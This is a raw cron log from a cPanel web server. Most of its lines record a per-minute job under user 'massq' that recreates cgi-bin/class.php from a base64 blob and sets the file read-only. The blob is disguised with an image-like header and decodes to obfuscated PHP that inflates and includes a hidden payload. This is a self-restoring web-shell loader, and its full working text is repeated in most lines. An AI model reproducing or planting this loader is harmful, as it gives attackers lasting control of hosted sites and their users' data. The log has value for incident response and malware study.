Nov  9 17:08:01 server CROND[12988]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:09:01 server CROND[13799]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:09:01 server CROND[13800]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 17:10:01 server CROND[14608]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 17:10:01 server CROND[14609]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 17:10:01 server CROND[14610]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:10:01 server CROND[14611]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 17:11:01 server CROND[15582]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:12:01 server CROND[16390]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:12:01 server CROND[16391]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 17:13:01 server CROND[17205]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:14:01 server CROND[18044]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:15:01 server CROND[18884]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:15:01 server CROND[18885]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 17:15:01 server CROND[18886]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 17:16:01 server CROND[19748]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:17:02 server CROND[20401]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:18:01 server CROND[21206]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:19:01 server CROND[22111]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:20:01 server CROND[22986]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 17:20:01 server CROND[22989]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 17:20:01 server CROND[22991]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 17:20:01 server CROND[22987]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 17:20:01 server CROND[22990]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
